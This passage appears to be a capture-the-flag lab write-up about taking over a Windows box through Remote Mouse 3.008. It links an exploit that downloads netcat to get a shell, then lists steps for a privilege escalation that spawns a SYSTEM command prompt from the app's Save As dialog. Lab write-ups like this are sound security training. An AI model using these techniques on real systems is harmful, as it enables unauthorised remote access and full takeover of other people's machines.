We can use the following exploit to download a netcat binary to the target and then run it to establish a shell: https://raw.githubusercontent.com/p0dalirius/RemoteMouse-3.008-Exploit/refs/heads/master/RemoteMouse-3.008-Exploit.py

We can use this as a password for our user to rdp into the machine:

Remote mouse also has a GUI specific privilege escalation:

Remote Mouse GUI 3.008 - Local Privilege Escalation                                                                       | windows/local/50047.txt

We can try to employ this now that we have rdp access.

Steps to reproduce:

1. Open Remote Mouse from the system tray
2. Go to "Settings"
3. Click "Change..." in "Image Transfer Folder" section
4. "Save As" prompt will appear
5. Enter "C:\Windows\System32\cmd.exe" in the address bar
6. A new command prompt is spawned with Administrator privileges

The exploit works! We have an RDP SYSTEM command prompt:

RDP session showing a SYSTEM-privileged cmd.exe spawned via Remote Mouse's file-save dialog

We can go to the administrator’s desktop and collect the proof.txt. Box is compromised.
